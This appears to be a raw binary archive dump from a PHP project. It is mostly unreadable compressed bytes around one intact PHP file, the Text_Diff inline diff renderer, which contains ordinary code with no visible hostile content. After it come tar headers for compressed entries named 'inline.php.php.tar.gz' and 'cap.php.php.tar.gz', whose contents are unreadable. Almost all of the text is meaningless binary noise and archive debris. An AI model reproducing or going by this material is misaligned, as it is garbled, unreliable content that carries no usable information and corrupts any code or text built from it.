뉆ԛ|x>kDޖ=LÁ3'PJ\0?rThS6hDRh!PvX	s,r)e<Xw<j-l}+	OlL벱	#"TNKUyR<E鐘uP'٠\=̞wq6&B0ZXzJۙ62UKԜ+(;IjzjR}cO75zo5dr#nΥBp3(Iez;)j׳­]2q!thXOir4vrt{c}?TQ+T.?bNzݑ^tqP!sN]n+YSSB.Nެ,'!'OJKsF1l7XZ,O\`J&;<iO:tқ{ʮy?tthD.]{\+U߷ڛ<y6:Sd41hSOg{
|ٱl3Ad sF:n*hJѲ_-=YtSn{np˩}׳nH'7c{-cnWq88=#t-mSeidfF;S揓$$&4&[}f~V%[s6XgM!RbդA8?G
$0P81mt͡rlN9\лpaAf; EncZ z{KEdSF֚jU3WHibYI*6]	ExVmN v8иWϯjjdsZڪ\1ȥXiک/ E;l7 6EY-pc4uhrؓT6$ZʿGX6;J Q?QguI&֓m)7e/kHFô뜹CŢ冀M]|Uv_86{ՅCh%  :SQ@r'/,K^!	)CJp)9^TRq+аu-wNW׸$FkȼZȵ:Q"-z	; V\<>p(5ߚs@w_~oНL:Q-V9\)m[a?:A2].~fa	Jʲg UbkhyA!~f^&G>U@p!j2XeD+ x@<IWT9ILoC@GR_~o?;_	+Mi	/?}X7%	#@Q;a]RĞ-!'#nfıq~ǫ
Upto\3i:80KzcC*-Q(bxxK+@bP AUD\GO^l*XڨUuذ˂NI#	W5M3VA>+8v	&Ł	[xͤ#?=d1vsIɞJ}awm
o7=A9NM,"3 )/E	ؚ6LBY`&&4o\X%/x]8G͜l! ,oIT)v׻TNsfwxh7#k}̌ɅQقm>8h7b7&'glEh3uGgs{%f°^2y	zOAPic\%Q'oNb9a2k[͛nҟt}q$tk@?!]!J,L-FP_co5r,%[aM#b8&э:䐂p;bZ"^RsaqWs;.&	>2(.AXPB2B{dS8l.>ˌ7V'Kǒ-3c}?WkA3WMzwjȺu*ӭ[TjBcE[&z\'=X)531cK]yp\54JWN[YmQ[ȭӂouxǘY>|	Rn>&!|C߳tZXon洄y_,@
w:񻮰)RFn
4"3$s,0iglFf߀NȔfZ7KMiz3WpTS,X˝ZRNa|hAf_=?H8TC5XMUEu7~7;sLhK˦}cL=.A6|>`b]][2`	\4~ykU#ZKABcH|n#*S?&#joJ(2~Ųd2ceBZ.J$kͬ&O5!psXK:'떰8;gϖL~H_J粣z`gX%XE4Xh8nqP4&qb-ʭZmt_\bz2ZR3ٙ@zE=!'^P\`=Q?RsHˇjNn r6Uя&(.
a7;,n~￳%LKiF2LQ3 zr??b࿸;?g
7tP>yi#.hDK:^HW;ۊʷv[+6ЖPEIAxy;-f+=ouC8şP2Hpǈ2FZCj0ҋS\LQXd:ߩnI
|Y~EZx1k\Tc+s(4rvj*MT<xyBM8zBOcYʈɯ$\So_\_onK[ a#c_^rv]LCNaB[0'k[ݐtrp1;7V(v;=ÛM9+HО/(K͔W(;%Dm$O_-J0kw͘[îݸKLbs	W~5%-O,i##.~4HaXj^m|]=//q3O1g*b=Hm6ňXGÉH.fPmHw2HDcw+='rIo09?{?GG&6"*v#K~wmMy<=31rȧNi}mu`M@l/&XlRl.ŬECi="z('}p/={U`j`$.9-~\>K968eI`hR83Z>p2ESAaf_.g?d,	np
sk|	nЀm
q61VP:WH<&v%[|HrPhR3NTNBЦi6iX?fp=oVޔ'Hw\n
qa"ՙywrj(ȕh(J,q	.*\[j<<T&6FzZ|dwV!bJR¡S:Uzj٭RTSI*WʙT6oROeW8L20ퟷL1Nټ@7ZdT	.d˽`yʧT!%=VyX\'eV7E'TP|*?٦ҍE3^*-M?vb	\jO&O(!TCJ8UlQB\:W@b|ݬG 	ҁsysiW<J~UJWR$ߢ4Ʉ%pUQcՊfŸUv(5OdQpO99T,-5vUc<YOFcWza+[C8^uHeZy<H[Mu؀y8.Ǆbn?kV=[)>NaDN<ae#kvKnFn-M
Aha[oW='ONٓz^7tւ}ha*U+v)5N
B6<LXOe|Sy}^[%>dYL.dNTF񩕩Oә̢zxx}. 5BkȥFt+ra*ފpvf4KtHSV	 l2y^aF3G!hF=ٵepRLz	lMn}jg˝욛
r O6C}]qS*ue~\_': ZJFmML2r+jYm=ѶޜSV/7'F$OXYL2un$?V4yܗZϰ͊i`Z,gjݜow阐*zSh?czj-fN{,f3WW}L˳y\>}XPķlm^ԧqQ-IԐk۞VTsն?RcUN2ҦܡX̤dlFHzng6Z*=}HULfT?n+i7ORz1(NJ^jo+eQوt&+MXRf)MS˛NiZ~5:sS,JB;OlUJ묖z44he5*<<C'|av7jhje&ܣP	>%ecpV\.R?TJOTY!<;k"IEKikSBo~gܳ(
J5Viq##_3~![!nXZZK	(BtEyFz$%qi $yDn(d;n>Q9>;󰒪G;S[x(¬ݫ
R4C=NzĪ-~Y-`(qX+=⡧WeifUm%ׅΣnpKQZkn=ȑ.u:ˑ4e2&V"i}i4u\}Kk뵶ݼԛ$-]o=֦_I`mq?RGi35[բayXB|q,G.[fk3mZ+PR:GR>GA(rzKuB(j37"VlA9eוudC)KmUZI7"x:OXy~O{Ĭ?+#~E;f4톞,<Oa
|>Uо<.╍$z!-9RX=#M2t[}<,ŁZ;(@zVDNz.isZi}u_WHdV#,bOE݇i/pV<nrCߊ6R*Mٳ"ZEgh-[E)Fݜ6wHYX+xl\}/CBS#[{n7r-ӢZ]SZ}lmjh߭f$)0|ۨhb0Wj|>YWc!^ywXv#wOa8r,ZkxU~zW_V{Rd;q:({vhYy>~bպˈqW^~P#CO*U"	Jl?u9l$rj^G*P
rDvH-w|)W
N+:~=V~P&Xz/Z=DZ'fFPO7^%e#81C3mzlW&j}qHKn%z"\	V(ժ@b<(GƕRehsǃyh{z0GZS5bS-;VqiTS	tX{jZ4ZKae>sAmk(n@Ljfh=%Vw;]6R:*ƃ4!vg[
7w1{pT.3Mk,bz:ڊo=`x##MJ\Wn̓!@b,"Bv +X$XrmDs
msJĦϋU<FU9.kVI5(␋Ik^	 mJ<6Jxc._mFq%:`<k	A]ǂC)
[8jƝZ`	UfCb}'ð^6lȦ{ŭ@fO%	P9z<1?[g]o3:ĸr#UvY^IEwM0>QyrxF>]h#'ⵖ/>e68N_Eks
z]7,Sl4XFan" w4ANJbzJ>fRTR4}_V+l~xn=yjbUq>5Læ޷='8?~ґC_|Ju1"E?=nYzB:;juk<;q<&vM}~Rl(Zj{͊tWlzV4Bȥz*;pܜGܳzگm`iOSz_LBf<įO|d/d6[ǢM}i?N:عn%pL5(VQt7{"GJ-e)nirr*_^yA=O&kYg1fo
{GsQVPf׽\;ϭvROm׋Ыyvē^UIJVzUҫ8DJqaЩW/1nvPUL>]V\}&֞LiPPC?έKN=wœ_q*k`-D\<Vdu={9>ԴǮ'V+g`kv[lȉּ/2۴Į-O[ȟ?m!Bi-O[ȟ?m!Bsl!I9BBSmBAxb.<=4F]x6sQ
	ܶXy+4Ӿ{*vizO .	5դ9$4>ǳG3.RlȮlt~ m V|Mw&RlI](⓺,]S~w#<-aQIUr%jUzeӟnR`n'QQ+rE[HD#ʵ0֩mmPyfeBxc\ioR\*UOrPĐgR?3U~/#Y߭1ɵB5>ZO6WJdj;~74	>L|8'J!nǅj"=dbZ(Fw7K&	hg!^n^)Ȼ|DZWwRAَ7&\BBxJ!JO^Qu?8D=<p]&iS~Q6Ej?d!DExOj>M'nQOɤ,cnFYR{)}=rt=,!={T{;K6_GΊe'ZԦO`<6C]>zƞ#7!nr^(.X5_e=j(FI|~TS=ȽARPyTԠGUEge$zKZ"*=]ϖb4%{عx4t%>ngNz_.@_gfMTf~4E
n(}w[.
p
hz*n<֨e68j1uX(FpeS9<YFGc=F4PXG캾	)zI'`;0]V>
J`=S<Q}.BfmZ
êB}9\,U۫f.ZZ^mqG9nV"γr(C|X!ƍ>Qځվ=J$Uv^Chƅ
pQ#z+-N[_bLK)MLgl"	Vn%f?Dʍ4OGiM<Ze3yq-Er2;hvJu쌏n3H9*asfṑ>4Z`?
z:/$~38@P(p(5\]WfRWNXZiT2+WdY<ReH/erZznM1һ4Si g2ּ-?˧YҡRqtʟX6`
4{Pb/WzL?<.MK)P$2XIv/Rºou1`:8\u=jZKbiSWjtR}륃*+ַ)!:aTݩ6JLXL~$p:Tx^A]nG\ocArl$$o 7ĸlFnw7eNv;N'bUVҦ+(yO=8:Pa+|G!v/ѫ_]-
z%/>&o"tsq;,˟&7Z.$VDe)|Ԍ|~e#;:!D-y%टܸt}PʝAƲ ^=R~P@qkan}skk03B0 Z)(lÜK']-FC/b넛Ƨm?9b)((.P9o~`-Pʫ%G!V-I	&6yQ(%s~LlxE@6dAS%QG1h?k':&8=~ d^ݶHwv-ⅯI𤷢ʤ(iMz[ؙ_XQ߃=-?^p4x7bM+~hE[?0ހ/k0o0(m|P4 _1 1|Z	"  }-cD|=D<}.\ԯǑ䒵%L%ڶwDPC3%X[D 1P,c1)[0@Y8bW#'N1~?,@ |Qe({K`~6r,(DD,#>hY#(A,q gepkg<q"((:T%4kȈU_6.+HHt$[hjcۗ=PIK@p$cYf>U5\%B+zE^&SV?ƈOIv{J F֑rІiC`2IPerNqgڥ(x6Pq#0]}>8]w ]7?yޡJI  fMJ)iQ3t2d	_06P-2|	7a]8
!ƺ1_'Vĩ9;$-c!vl،~D\5GLF4AيŒ.d&Cghζ9Kvp&Y⨪Xƅc~J,ti~}qҹj+H7[,%cUl2w$8̋GaGA?ϫϗBO?ĥg[YR|&*"oZNco _WlhR_4KE9An	vDE'YHڝU#6d
K5/"ZJby:PξeĐ_ϟN1:Aymh8- g6)^%6 y9U]i$?Tk)[GȾcHQl&('XE@ )iA.DI?+#uDÿ)wiëp>d;zk:089줴E"JM:Nfȋ  Jiӓ3dH!	O}T"_trf$/N&H,'>[ @H-D\|9fEI;lI6_P?Vb)5Ldr'U.pۄ#.AXB9	McPz˛;b슗E8Í3~af4]ȣs|CJO[f"Of4U)&#u_i/||r,MnmS=s|RF?fg914(x:_/4W32g 3]'ۓߙ/oq$Xt37,kƁ(vľe?M3ԿO6H*LQ4el)\k{,_ O?/ə9f0"ވKaw\߰YkNI':)WI)ޭTWxqɭAN%#~2;;dlJ
si)7h^VEm
I|ѱ5qtC&oHƗl]O5ʜ1T9Nn "Fk!=9?Ӳ_bdKs̴+uc?~ްw1k,	3/K^:G E):1(ɍPIbbS嵂q6?)KDjD\Hq"'e LM0}uuD6(#`-nkAyէєa[C.amV 69uiQNv &`;U> ȑoMe~Kl/^z+namN?n9? Ǹ	T'~7d{&>	MDC:luÇ'.J
J:hi4fYKx8e,i/-5?]P^,^U] bbOA˽6lo'dNo&8j~o\;gYd.WXd˖ewV֝^ejCz8K#C"9v
|X'7)T+}II$@=MnM]<Oc hӋfnGtY]	^AQ"ؒ]Xv5Ni̚J'ΊMo>n=[%أz\}Y='LWZe47]9%,Lz\7!n4c|h|A?7Yo!L6WK߅44Bb'VCjE7ANnb.'_]v2$x⑭bý|V+xVyLV5tÍӦ{z]0Dc鐘iǁZT?mnSĆcm/ކgN݂iI	ՎiisTLqQ<Kiƫ8]h3e,#`?b7ɇC2
	KN0Uo %17lUɸ~NKC>V!TY\k_?f=i3-C*1ԯ_AA?Y	az_tzz[%-Y
EdIRS|M< z>u/BN>H8}9~]:Z/EcN[0'O{"X`ZC/<>8Egr,_ޠ*`qC! L$FR`&p8TG(pQ).PJVq}^7cW1"@&fRV6d#thdAң	O3QdzX9'\s47Nr-tY627N)ju q }'wg5[%
1SC: Cړ+X@	OjxzvK&V_Vv@I˨XcQOo7۬=.>'C5<8OSyb) 8Q,wfa߳9>LCJߛu gqauPh5%w|Li:C3OT#mQ.,50!U"N|C2dG3O&s8
)gQaIhcM
auzX;I_D;酐!mtC0pҋfߜ'lnr_lǫ7Mi)Ĳ֊']M(
H,5@a6J%/Ns)/KDh%j2{䋓P<^UW,KR:YDWЈ)V$#ir'|k<ʿ0+Pɍl&PJ\GObp|Nʺq/T9gkqLl,)+٫<އғi	~o׏1]}L	.q {|gv1.7a݋daC>ae`0CD"\}HA0W/'z(nPO~7MHհKy疫?-q05I$81a[<{*.c5
J,@?44ѽ*iwNrn7#VU^^l&f|mcyLZkH;6Gk~q Ui!_֣45YDZa cq>X>zs$jReىMP^Y^
v;X=<pp>%Zois=gio)z0.0һaPE;"r`j|D;s6t9q] yoE5bPΤAnG]JuC!IV6fH$%7n,\~+f0`n7dqI)khխ<X:E) ;Y^׎!q syfGk~	,V֤k	[]."Y*Fmr0$".'v>uJC;`z/[.pYno@q=|4LYfi`>j
>idL҇PA"lG%umptSIE7kʠ,%Ap+H
2#dsCT~TkFt{}n0TŅ$/W7CH4OxXuQ\L>ˀOG2~>3"D1HO!.3M@03C$$Bk4Kc=e>f"o΍pq\jJ0"F$UHbe<LQyAyh	Qu|N_
$EIjQÌ+'6BzRH
FZ@OhM{!
  ;E?D{fF	* ڍ
=@ǐE|C+z#x/ A5:Fq79ֿ"z"qJ:`K|1K~.}j(VXn[^ROmrp-DIʭ:_B*$㱀:5vQāvۆ|2a[ a?󧛛hLUf?#[L<%IRA3KPQJ}@Z"ȣ4Bimb/,⧯E
o77<|Z.f6on8d;{>f\(N8؂z#tg@wNfՅYTT~]~~wk-H:T! pOBq-;$η	kP#it[eiN=zK~|ɇS$6 |}qP^,%=.P:SJ.QM}Oj(k>ľvM"3#be.1Y8p9jϔ04YADНYr
Л59wձ,i
KTk^tpނӧ38PSB ^S6/ecj/
+ԯKu7f/!@zg tDS8su0HLwA|@<{gfFF#
v"x<S!dW-3b@3+A<L
C_g"i!FѦΉ\^UqEE화s0WG1d7\szX#Xǲc	䠊>֐"/K*dn}PÅ
?aC6[޺:r+8..RlHbȪ-QP	#ep>XQ:H~q(4#:|2'n.tiLa^vq1~ʩzVA
3<g仙kR	2]G,?D[ә" Gv33:6n}66pgyƠfu2oGt{3ϼX:ݺm;"<ep\nL'4s&rs"@++ot"HjATtqeDM{~inzyPDAy'^[dsǸsC KҞ>:[p\\ږbSv
,vLҪ-;_^@6&ZǗf2LaUw=}kݩ0Y.Lds'&xICyϟe:Zy[̹h^11	s4\	'߮zyXZַn]F3U|PFL=žkXҸ9}9/OnS^B` d\3zN9,ɿ- ƊMZ]+"E4r!m#c%--%qY~u[w=>w*;MA#ր'mYNy8p+WUnBg]NFm])\yƕG43.^y9T\8{3Ȭq2AHAn:`_уZt,ܖQ39wci6?<E	!-&F<ѯd9DUDݺ'IjP
{Mk)HF,g,ZfBg9+?0	Ε"*PqANxd~S׳)Ӎʐi(+
|&;V kRϨ9
HmdyTCuTvsxrʥ%It7GI`tD HowR |<';	n}ǽP)e./Tv30{6āK	&ax}m뱹 /y^5㺞r,QwfF`XCἭkڗxBt'j `,	n >a'($/>eC-o`CM(K,\q,z.)mĀp~׵9SO:)K3QG)Ǌ׻rywz]<.3.ST'a]mҐ`	%=\Bw?nr9},͟	Cm˝F	{1A}0Pɵsv7BoEfNY0EnBܿ MQFY[atb&(ʲb'/XH2a>3MA̸姄3Ʃ|Kq)0c9u$HԢ2Z=7-X<Ȅ{)HңEFkY ؀bIbMeWE_Hr\ھ	X	=텾;J}F$,K	NضQs=WP}6mynz
X8Ӟ!6(tU~@z1H7?hkFo't䟇G2wmL[h8wiޖ=JƸ@;KSn^MV}wE^]YeO4$YnCaůPrώ2ه2XIT:Խ?6YjC;T#F+/cNJqߐ8\h/];MmF0CPJǇgPV~E)u.?<A=MMZ:g6		M0dfu-WC?X9hxݑ"flX_
$ʟwdN-ZhFUk:f&ڂ?jn{cd[9:Ggoa87MK2oXOGwҴVv۸y*cT2@ZBq}Hi2tߣPݵ:7{22M%``Q -= IERUDChn+=$o.'ub\|!^z(zA 3FY:(IX G,]parAzB5i%Ffd>
`Cm0:ԲХ)eퟵ%9 MB@9d葪aES$c@I0օu[K.>XEUrbձ(/:3]^;CH*ҙN]qu}:S,vT8H7+_ֻ{̠oyf0,N.SI>.hd$E<'1g86Jg<'g-{&BòDY8b<i4ԃ&%[Fˈm9DW ic/
wJѨ\cCce4ϛIcUe'	ùZB5Mt3[AIcm8Al܎)E)jQg;X~<1`ڿo`o!*@3PDe`PP5^
FϰYH\njO9buR{ 	7. kAU1
EU 0.]`lpgNVB	{9n='[N_:2>:hα굾3x
ld)cg~$
VxSZ:|ҜbK^Y\<r\wh?cV❍ĠG?||YXw1DhqL7Gqv[| /xˉz;pZO~0_pj+5>xh`+j5].JwkMqIwL38&w c}7׷SAa6/e~#?ԸA⸞rD|?h$5bwvyt|i80~ث)nD9)㛜ԩT!,
]H77	W7Sl ~WwOtktq. ݝfD|mOIӊ߭e3A0.pBn[-	}>=??9) < PK     |\'ݣ    
  inline.phpnu [        <?php
/**
 * "Inline" diff renderer.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */

/** Text_Diff_Renderer */

// WP #7391
require_once dirname(dirname(__FILE__)) . '/Renderer.php';

/**
 * "Inline" diff renderer.
 *
 * This class renders diffs in the Wiki-style "inline" format.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */
class Text_Diff_Renderer_inline extends Text_Diff_Renderer {

    /**
     * Number of leading context "lines" to preserve.
     *
     * @var integer
     */
    var $_leading_context_lines = 10000;

    /**
     * Number of trailing context "lines" to preserve.
     *
     * @var integer
     */
    var $_trailing_context_lines = 10000;

    /**
     * Prefix for inserted text.
     *
     * @var string
     */
    var $_ins_prefix = '<ins>';

    /**
     * Suffix for inserted text.
     *
     * @var string
     */
    var $_ins_suffix = '</ins>';

    /**
     * Prefix for deleted text.
     *
     * @var string
     */
    var $_del_prefix = '<del>';

    /**
     * Suffix for deleted text.
     *
     * @var string
     */
    var $_del_suffix = '</del>';

    /**
     * Header for each change block.
     *
     * @var string
     */
    var $_block_header = '';

    /**
     * Whether to split down to character-level.
     *
     * @var boolean
     */
    var $_split_characters = false;

    /**
     * What are we currently splitting on? Used to recurse to show word-level
     * or character-level changes.
     *
     * @var string
     */
    var $_split_level = 'lines';

    function _blockHeader($xbeg, $xlen, $ybeg, $ylen)
    {
        return $this->_block_header;
    }

    function _startBlock($header)
    {
        return $header;
    }

    function _lines($lines, $prefix = ' ', $encode = true)
    {
        if ($encode) {
            array_walk($lines, array(&$this, '_encode'));
        }

        if ($this->_split_level == 'lines') {
            return implode("\n", $lines) . "\n";
        } else {
            return implode('', $lines);
        }
    }

    function _added($lines)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_ins_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_ins_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _deleted($lines, $words = false)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_del_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_del_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _changed($orig, $final)
    {
        /* If we've already split on characters, just display. */
        if ($this->_split_level == 'characters') {
            return $this->_deleted($orig)
                . $this->_added($final);
        }

        /* If we've already split on words, just display. */
        if ($this->_split_level == 'words') {
            $prefix = '';
            while ($orig[0] !== false && $final[0] !== false &&
                   substr($orig[0], 0, 1) == ' ' &&
                   substr($final[0], 0, 1) == ' ') {
                $prefix .= substr($orig[0], 0, 1);
                $orig[0] = substr($orig[0], 1);
                $final[0] = substr($final[0], 1);
            }
            return $prefix . $this->_deleted($orig) . $this->_added($final);
        }

        $text1 = implode("\n", $orig);
        $text2 = implode("\n", $final);

        /* Non-printing newline marker. */
        $nl = "\0";

        if ($this->_split_characters) {
            $diff = new Text_Diff('native',
                                  array(preg_split('//', $text1),
                                        preg_split('//', $text2)));
        } else {
            /* We want to split on word boundaries, but we need to preserve
             * whitespace as well. Therefore we split on words, but include
             * all blocks of whitespace in the wordlist. */
            $diff = new Text_Diff('native',
                                  array($this->_splitOnWords($text1, $nl),
                                        $this->_splitOnWords($text2, $nl)));
        }

        /* Get the diff in inline format. */
        $renderer = new Text_Diff_Renderer_inline
            (array_merge($this->getParams(),
                         array('split_level' => $this->_split_characters ? 'characters' : 'words')));

        /* Run the diff and get the output. */
        return str_replace($nl, "\n", $renderer->render($diff)) . "\n";
    }

    function _splitOnWords($string, $newlineEscape = "\n")
    {
        // Ignore \0; otherwise the while loop will never finish.
        $string = str_replace("\0", '', $string);

        $words = array();
        $length = strlen($string);
        $pos = 0;

        while ($pos < $length) {
            // Eat a word with any preceding whitespace.
            $spaces = strspn(substr($string, $pos), " \n");
            $nextpos = strcspn(substr($string, $pos + $spaces), " \n");
            $words[] = str_replace("\n", $newlineEscape, substr($string, $pos, $spaces + $nextpos));
            $pos += $spaces + $nextpos;
        }

        return $words;
    }

    function _encode(&$string)
    {
        $string = htmlspecialchars($string);
    }

}
PK     |\ \      Renderer.tarnu [        inline.php.php.tar.gz                                                                               0000644                 00000003352 15217301621 0010526 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             Xo8szMF۴e::I&4 E^fuv&iZؽK8sAL$ђ
,fQ8׋8X&=ƣ8P:Mk<G%1㴟̓[ ׽ptߛ7RDz
[c6L 3Gq>J\h08Sx.ik<rٟ0P
i(ƕPtSSx`*$`Q(0OxvV"E&2F]L,V02(B$%R9)2 %qojIQX',p8`	ɌɁ ZhWan+ݟ-ILE%'aaЇN[&:=Rٖ+4te@ζߢcX ndOʙ/n)ĔLA$FJh0- TQyAUNHUٻ{afC3!7+KH:e6/Ԙ1"i8C<ǣ&7x)dx[И^R/mjmc$C4'3,Zpe9&U3	Ji*{1q#3!01xg&:$VI H
K
Q*xd&o"2aN%u#\,ajgSWl֛<׹ۻ<.]Ɣ=a侥TÞi7:3]_9o܆jmG[!_zm%hʻm5B'tpvfYfڲE#~ۨ=kZy.q)"6ZL&tZ7lᎾ|@(M$RsaЯ3}՘`CY[G">{.7fW]Z4ǔq웩sI;8dXbfۺ^!xȪW/`[w3fY;evJ6&PT:rn	X۷3w_o(Kg
.0D&gR%PVcx$W|auύNR9iԪEW6{)x.UaA9^gaMnǻ:6^pP^N)&jU;1:A`z55n5#JKmjthS/PR>!Jwj3q&jRpd
/s
	o/p`p?u,nUTBή!fJW|zn+~j$k&xP#eA<ڪkBճovs~i^7W\^P93O0ۥRT;px۲Uz<(_K)_LfDtVb'P	w!IzG?_7ꊛ-Ւ*"	7zy 3n`\LRB$dm9ƙntL}.)e&~fŔ\R(5uq$tP˛ycԫj\X2Bʔ+WӾSN&p/C.cjCB\j'0QÝ6kw6l.4qj)L$'=oV-a37֢o;JhHlN[w/,                                                                                                                                                                                                                                                                                         cap.php.php.tar.gz                                                                                  0000644                 00000056633 15217301621 0010025 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             i#Ir(Ҷ8%GfAu%Q5}R Hdym}?x$hd̤(@Uΐ5U3aɐ%RDǎf#,?6;MSlGO$rC?Q~<?GdJUS/_+戟 ~#4˟/_Bg__o~?__7W{7w&__߾ ~3 ?$?>P~'H럁$	lA?&_/d܏yx/~if;+?|h?^? _A.=('7~y33_x?JWw߽
{?G'7Q/ԉ1Ē)#&#aO$Q\h8
ݲ."A0'ЌE%;xl3s?@FJk_4~MDKY%`˕w_=5N~]=en׍CǥL%Y|M1h؇e.BKහsSSd5ħ%A%@ӧeܠGOne&x㻼|w<ȢN(NbP􉇴sI#n1g)D3J'HXt,
hydfSW~,GMKeV0O).Ճi=Hµ͊6Aܻ=횀<} Ƴ}V GQS4ړp5h>;Q<^#s@ād:URT˳qyd+"XzE	VhYOǠ I%LSad.NSLdtZ.QLi+JH4;=_dFFĸجDaҋ'Cʎ_+I@XDP 2O@GEq|/&'ҵZ}Ka^C\PJ3 l
R`pq1h((XAd@X,%Z>@cG|G\Q<{= Jd1j;l*Uq$Mf(!F44m3~KzmvB]Jz;|
pס4* _ ױ<]#b=S	#4\5T9`Asg|4S`5U..,= q@l?Иq+ %!h `]!ad%i,R!\{zr_NFr0D ?G9a"#+"Oh,ji+dUiFC"(Ӏ2,ۛBC侂@YI6%4yp+,ؘk(D?(03Ab87`q7¨|q=Jo\A lGUK#D r|/̙Gxq)Y	-ә,=aD'6yh@HFϦ:U܊78&d Z[·K|>H菘d$FCQ'!xj;퐒~98v"~aȝ3 , T(
9PT*f!1 G !JY`00X#s@Ph+vX~[ޚUQbnK:塘Ts$<Peӣλ}Iҭcjus`5s2SKV[eu+ZEk|1ք^Қzyk|WԚ|5Z5 6TQj@ӵ
Q(ѣZ]Q4N_@ӱ~Jܻ|pUBaaj1,@1(Vmj }HZ@@Áz!vrtО9dVKo!'JG왣1j+G Zk"qHէ9PkV|]=l%ДJmF 9t<f? o6`6. q+pU0pOpP(&nDٱ,9丘1͈˴`6J+Abaշ%ˀKK&.AX HlW Zin]jrDX1	5q)j93HV	# nq`3Y]p8QK]L8E=#πg`D<^QW:nd	jhϊjSZ/DT	
O5
dJV[[~aM8~9Wd"p4TZ14
4uI	ĄR?zUxaFr,~_ d07i2X0RDɤ\<7o+ywvp{	#~1*#dx<ZM/sawo=	\DKh-:X9" ?~g	8ZhM&0nI(W.~;BVf0c,L6nTV^o)Ɩ'5fG=45Lk7B²sa;Fc~3٭в<@@g+-<.#<p_h6 mÕg$;v|-	70C32ka"7UQ@_6CA'	f2A'g*l QPଁw-0M NRF,Y	5TRV Bv}eݖ¬b.m5jhZD(`L зks~b:=26jj0De_%AfAiI	F)#__+D+@u9DoJ@I]7 xL*w1IKP+FBO?VAuI:.AN>݃g\;w9'YxV
F]_I{(i{G+vpÀ)Du xWx Ю[PӍg~Gb.{BK@($	hWP$<%PKB`wCZOOnWYaP<XT0薬\LkjAĥԃd)J3E'|çσ'?^TEE$ßvEs Y(;xe"HCޑx~GB pY5$$~0_ՃZ0q9.WxBQH	e'FQJ dXq&J`T	iXPRR50;NZ#X< i1~Vf*zD&Nl˦qN۲wﳙ59܃"HoxMSmP4}!-^i$8=ɏЕpo'Ɲ:wrW1ՙifedYM[rH!f:\'1Cm`heFNZ$aի`BF!kHn֣i!XÿSGv 	t06'8dV8h.(}gSY6\%LjE<.^Ts56\jZޢϻ48WGI3pARޙ4|3BY=puj	rEu$8R`+X0{'KU+Ez.cbZ  Q=f3!@-y![Q*ĺ)Ƞm~-3ĀʯnOhTMlDkN q
_fZ
*nQ#șgt5k,2hɠM'F^LV$9"/-`߸ޫjaapcWd;Vl|hK$!bbQuBsa"j.lM횅.D7Yd[nfjYD.乫9d?ӇU3W`8]_~ֵ$abjT$;]Zr]O&AnSp9 EtLzIvڵb0S%[m'?zoXoLV@1ߥ:&I~ꔆ9%Mɠ[}ލ7@fX.c^^,&[ӭ6#gqǈp>ͱEJ<K@12-.uV7LBRԇ-KMu@FeXl$\/%t\>pnENrÀ.]4@u-]JXRhA3ZVHu7rD Lq	]bR{'Ù:s>;fgN`n@u:z|Y9;חRT]g6G%+d}D$hDJ$ؙ+$/e}WH@q0>\q;Eh\ iih`jd/zs%[ 1ܮn9t/{&7OGs;8d2݂+A~Suc@$X
v9}2Kb mXҞrr	` tN5̈́%J{0}[ W|M?PĠ4-ӀojUKd
t*SaNoXoxLtx $	]CmC/.Xr2S/%}K@%<Cap	ķ	H,܁C+h5-6Ĩl"XO[vIM[B9%4[\;ܵl7Ukn}THj3v)_t
FRy:dYn{H|6\3GNHm.Gn;F"My
U2I1Rld4UjjLƸ>^#Rϧ iۈTO%d|s~۝ź5eCLajK"
(!?#){JK\p3!Ջ2S6Нz2fex4wH2:W| ;YzHI٥?X>Ť^Yq*|ϟT4Ut$I{+_xK
RφIFi̸h.4r,ote/9?NFR.HT1D3CCU
3]Hw9K1g_V,TJ7[ʢO+6'ba5%c)=2eN8,rjRA.;JA#ɀ\;Fc>-mAz,Uv.jMa
gKRu.j/BN2?TXt -tXxT͕l22[GehM_I=2o^> clЙҖ*;2Yxؘ@.|EM'us,lvt%(<\gٝn`@6@JX'>8d*?l*l6;5Vu,?-NYf|?S|T+"n1 Z56}C3_vz9dclZ*0=M.fHe~l.Wrf:Ԝj~nL.;R쓂w>a u6&I
QivRn{Ízi$Btɴ63 cΊtH`x&Br͔O3^^3drZwxN1XJK yO?,vgZ:}Fi/5k5?!=+\sh6K}Np!eچai5bc	Du	ZHɕ(Vvr6.%HuwVK=:qYޥWJ:}ך#4;
4jU)WkL6To5GܝƠJNQvlk'|FvcåPk1V`GWU}~Tx1!wckͬ6J[κ ޿VXy{۲M¼
Mt0;ov7 ƥuC;Aa^:{zQњ!qMݲ !,[PP 4ˡ{ViQDV}-`*|+o3#,!ouu~+ (g] u{<O@04ȭpwI:%ԍ9	;x2Â2|O"C4ZP.}8etw~d*Ty30C&UT8 ]ybMPuGBK	mi 'zjY0RT6A)ZtuZ< i淠pu\QtL^1tFP߃}~#	~#? A:qaA O0y+  ߬3f2xN?QB1f0mN}~.0iMm^W\Zϩjf٧b ?h6=ΩTu	$a`P%OKVO*H۠ҠV5鞰`ƹnDR}ȲCղm7=/W͏"6pZ@% d2C/Dj61>=ͩjvPׯyMvo3df6Abh荰1
FJa]XLTA(1EF:ٯg/9W\n2 ۄ`ޢ6{ٽIgF3E#Z@kM2[Zg#V*|͘3jXL&ilڠwЋY~xiviVs~QևaawGwǲo_7;ێւz%8qysO!n. )ȿ$/	"X87^biX58eMzڑ,}ʩftW]UP=Eksqf;n.ZPD
VJؙ*3}m	isOImLGù6e19C̵QeyȩI2bY\05
֌vx	SW-c>gn-HU8󙡪%F5~{-5ܸ~Ya1ϊraDqc>S*h=cHhTEg\PC+'G&X+lt,֨
kD;]WVa´3SjNqG=j2w;eRSc'=ͅ-:z2;Vv0m.QS@ 8?s|:Rs*p	Kp0jlK9CMi$1Rg[q8nD|.HwZ7wmiTOǎh!18i~exw}c.7=x>\~V
